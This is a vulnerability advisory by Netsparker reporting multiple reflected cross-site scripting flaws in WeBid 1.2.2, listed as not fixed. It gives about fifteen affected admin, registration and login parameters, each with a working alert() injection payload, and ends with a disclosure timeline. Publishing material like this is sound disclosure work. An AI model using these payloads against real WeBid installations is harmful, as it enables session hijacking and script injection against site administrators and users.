Information
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Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in WeBid 1.2.2
Affected Software: WeBid
Affected Versions: 1.2.2
Homepage: http://www.webidsupport.com/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-053

Technical Details
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URL: http://{DOMAIN}/{PATH-OF-WEBID}/admin/deletenews.php?id='%22‐‐%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001CF7)%3C/scRipt%3E&PAGE=1
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001CF7)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-WEBID}/admin/editbannersuser.php?id='%22‐‐%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CE55)%3C/scRipt%3E
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00CE55)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-WEBID}/admin/editfaqscategory.php?id='%22‐‐%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x006597)%3C/scRipt%3E
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x006597)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-WEBID}/admin/edituser.php?userid=1&offset='%22‐‐%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x002DFE)%3C/scRipt%3E
Parameter Name: offset
Parameter Type: GET
Attack Pattern: '"></--style></scRipt><scRipt>alert(0x002DFE)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-WEBID}/admin/excludeuser.php?id=x%22%20onmouseover=alert(0x002DFC)%20x=%22&offset=1
Parameter Name: id
Parameter Type: GET
Attack Pattern: x" onmouseover=alert(0x002DFC) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_name
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://testcases-vdb.ns.local/webid/webid/register.php
Parameter Name: TPL_address
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_prov
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_year
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_phone
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_email
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_city
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_zip
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/register.php
Parameter Name: TPL_nick
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

URL: http://{DOMAIN}/{PATH-OF-WEBID}/user_login.php
Parameter Name: username
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x004563) x="

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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4th December 2018- First Contact
5th December 2018 - Details Sent
19th December 2018 - Attempted to Contact
23th January 2019 - Attempted to Contact
30th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.